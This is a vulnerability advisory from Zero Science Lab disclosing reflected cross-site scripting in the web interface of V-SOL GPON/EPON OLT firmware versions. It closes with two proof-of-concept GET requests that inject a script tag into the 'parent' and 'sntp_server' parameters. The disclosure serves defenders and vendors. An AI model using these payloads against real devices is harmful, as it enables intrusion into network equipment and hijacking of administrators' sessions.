V-SOL GPON/EPON OLT Platform v2.03 Reflected XSS Vulnerability Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd. Product web page: https://www.vsolcn.com Affected version: V2.03.62R_IPv6 V2.03.54R V2.03.52R V2.03.49 V2.03.47 V2.03.40 V2.03.26 V2.03.24 V1.8.6 V1.4 Summary: GPON is currently the leading FTTH standard in broadband access technology being widely deployed by service providers around the world. GPON/EPON OLT products are 1U height 19 inch rack mount products. The features of the OLT are small, convenient, flexible, easy to deploy, high performance. It is appropriate to be deployed in compact room environment. The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and ICT applications. Desc: The application is prone to multiple reflected cross-site scripting vulnerabilities due to a failure to properly sanitize user-supplied input to several parameters that are handled by various scripts. Attackers can exploit this issue to execute arbitrary HTML and script code in a user's browser session. Tested on: GoAhead-Webs Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5537 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5537.php 25.09.2019 -- GET /action/bindProfile.html?parent="><script>confirm(251)</script>&gponid=2&gonuid=7 GET /action/ntp.html?sntp_en=1&time_zone=05%3A30&sntp_server="><script>confirm(251)</script>&who=0